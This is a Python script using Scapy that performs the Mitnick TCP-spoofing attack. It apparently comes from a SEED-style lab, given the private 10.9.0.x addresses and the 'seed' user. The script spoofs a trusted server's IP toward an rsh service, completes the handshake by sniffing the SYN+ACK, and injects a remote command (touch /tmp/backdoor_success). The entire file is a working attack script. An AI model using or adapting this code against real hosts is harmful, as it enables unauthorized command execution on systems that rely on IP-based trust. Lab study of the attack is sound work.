#!/usr/bin/python3
from scapy.all import *
import sys

# IP Addresses
X_IP = "10.9.0.5"
SRV_IP = "10.9.0.6"

# Ports
X_PORT = 514
SRV_PORT = 1023
SECOND_PORT = 9090

def mitnick_attack():
    print(f"Starting Mitnick Attack on {X_IP}...")
    
    # Step 1: Send spoofed SYN packet to X-Terminal
    my_seq = 0x12345678
    ip = IP(src=SRV_IP, dst=X_IP)
    tcp = TCP(sport=SRV_PORT, dport=X_PORT, flags="S", seq=my_seq)
    print(f"Step 1: Sending spoofed SYN from {SRV_IP}:{SRV_PORT} to {X_IP}:{X_PORT}")
    send(ip/tcp, verbose=0)

    # Step 2 & 3: Sniff SYN+ACK and respond with ACK
    def spoof_ack(pkt):
        if pkt[TCP].flags == "SA" and pkt[IP].src == X_IP and pkt[TCP].dport == SRV_PORT:
            print(f"Step 2: Received SYN+ACK from X-Terminal (Seq: {pkt[TCP].seq})")
            
            # Respond with ACK
            ack_pkt = IP(src=SRV_IP, dst=X_IP) / \
                      TCP(sport=SRV_PORT, dport=X_PORT, flags="A",
                          seq=my_seq + 1, ack=pkt[TCP].seq + 1)
            print("Step 3: Sending spoofed ACK to complete handshake")
            send(ack_pkt, verbose=0)
            
            # Step 4: Send rsh data
            data = f"{SECOND_PORT}\x00seed\x00seed\x00touch /tmp/backdoor_success\x00"
            rsh_pkt = IP(src=SRV_IP, dst=X_IP) / \
                      TCP(sport=SRV_PORT, dport=X_PORT, flags="PA",
                          seq=my_seq + 1, ack=pkt[TCP].seq + 1) / data
            print(f"Step 4: Sending rsh data: touch /tmp/backdoor_success")
            send(rsh_pkt, verbose=0)
            return True
        return False

    sniff(iface="br-63cae30f0395", filter=f"tcp and src host {X_IP} and dst port {SRV_PORT}", 
          prn=spoof_ack, count=1, timeout=5)

if __name__ == "__main__":
    mitnick_attack()
